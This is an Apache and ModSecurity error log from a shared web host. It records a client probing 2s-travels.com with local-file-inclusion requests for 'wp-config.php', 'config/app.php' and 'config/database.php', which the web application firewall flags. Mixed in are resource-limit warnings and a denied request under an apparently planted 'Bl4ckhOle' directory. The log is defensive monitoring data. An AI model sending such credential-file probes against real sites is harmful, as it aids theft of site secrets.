[Fri Jul 17 08:55:47.993954 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:resource: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu6quHSHoCJK_V0SBfwAAABs"]
[Fri Jul 17 08:55:47.994562 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu6quHSHoCJK_V0SBfwAAABs"]
[Fri Jul 17 08:55:47.994689 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.995026 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu6quHSHoCJK_V0SBfwAAABs"]
[Fri Jul 17 08:55:47.998161 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:resource: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu1h1WDijTxd1xw5MewAAAAc"]
[Fri Jul 17 08:55:47.998817 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu1h1WDijTxd1xw5MewAAAAc"]
[Fri Jul 17 08:55:47.998958 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.999322 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu1h1WDijTxd1xw5MewAAAAc"]
[Fri Jul 17 08:55:48.003173 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:resource: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvF1_86A5R6msWNfUkQAAABI"]
[Fri Jul 17 08:55:48.003818 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvF1_86A5R6msWNfUkQAAABI"]
[Fri Jul 17 08:55:48.003911 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.004192 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvF1_86A5R6msWNfUkQAAABI"]
[Fri Jul 17 08:55:48.004928 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:resource: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvI1dLClkUfK_dfHlEAAAAAI"]
[Fri Jul 17 08:55:48.008755 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvI1dLClkUfK_dfHlEAAAAAI"]
[Fri Jul 17 08:55:48.008927 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.009279 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvI1dLClkUfK_dfHlEAAAAAI"]
[Fri Jul 17 08:55:48.011538 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:48.012467 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:resource: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvHRlmrtCoY_COpcmLgAAAAg"]
[Fri Jul 17 08:55:48.013102 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvHRlmrtCoY_COpcmLgAAAAg"]
[Fri Jul 17 08:55:48.013216 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.013437 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvHRlmrtCoY_COpcmLgAAAAg"]
[Fri Jul 17 08:55:48.015726 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:resource. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:resource: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwljQAAAA0"]
[Fri Jul 17 08:55:48.018431 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwljQAAAA0"]
[Fri Jul 17 08:55:48.018568 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.018870 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvCvekYYQ8uns4MwljQAAAA0"]
[Fri Jul 17 08:55:48.019474 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.025954 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.049520 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.057475 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.062272 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.067788 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.072705 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.119457 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.120638 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.121413 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.123180 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.126338 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.79.51.37:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/acpi/devices/PNP0A03:00/device:09/eject
[Fri Jul 17 08:55:48.132389 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.138662 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.139520 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:doc: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvHRlmrtCoY_COpcmMAAAAAg"]
[Fri Jul 17 08:55:48.140107 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvHRlmrtCoY_COpcmMAAAAAg"]
[Fri Jul 17 08:55:48.140251 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.140546 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvHRlmrtCoY_COpcmMAAAAAg"]
[Fri Jul 17 08:55:48.143764 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:doc: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvDsMb3am0TgkjETbDQAAAAo"]
[Fri Jul 17 08:55:48.144414 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvDsMb3am0TgkjETbDQAAAAo"]
[Fri Jul 17 08:55:48.144539 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.144826 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvDsMb3am0TgkjETbDQAAAAo"]
[Fri Jul 17 08:55:48.147780 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:doc: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvI1dLClkUfK_dfHlEwAAAAI"]
[Fri Jul 17 08:55:48.148410 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvI1dLClkUfK_dfHlEwAAAAI"]
